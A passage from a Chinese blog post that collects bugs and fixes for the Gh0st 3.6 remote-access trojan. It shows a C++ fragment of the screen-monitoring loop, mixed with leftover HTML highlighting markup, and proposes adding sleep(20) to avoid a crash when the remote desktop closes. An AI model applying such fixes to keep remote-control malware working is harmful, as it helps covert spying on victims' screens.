border-box;">return</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-</span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; CScreenManager manager(<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">&</span>socketClient); socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>run_event_loop(); <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>??這樣就大概分析出執行流程:
??在上面函數中定義了一個CScreenManager類的對象manager,這個對象在棧中。CScreenManager基類是 CManager?
當在主控端把遠程桌面關閉之后run_event_loop 會返回,這樣這個函數也就返回了,對象manager也就開始調用自己的析構函數,以前能訪問的現在也就不能訪問了。 所以就會出現上面的問題。
??其實在運行的時候CScreenManager類的構造函數中創建了2個線程ControlThread ,WorkThread,當正常運行沒有調試器中斷的時候當函數 Loop_ScreenManager 執行完之后ControlThread 這個線程還未完全退出,不知道這樣會產生什么意外后果??
??經過試驗在 函數 Loop_ScreenManager結束之前加入 sleep(20) 可以解決這個問題。
------------------------------------------------------------------------------------------------------------------------------------
未完待續。。。
總結
以上是生活随笔為你收集整理的Gh0st 3.6 存在的BUG及修改方法(收集整理)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 论OD最原始的用途------找程序BU
- 下一篇: gh0st源码分析:屏幕监控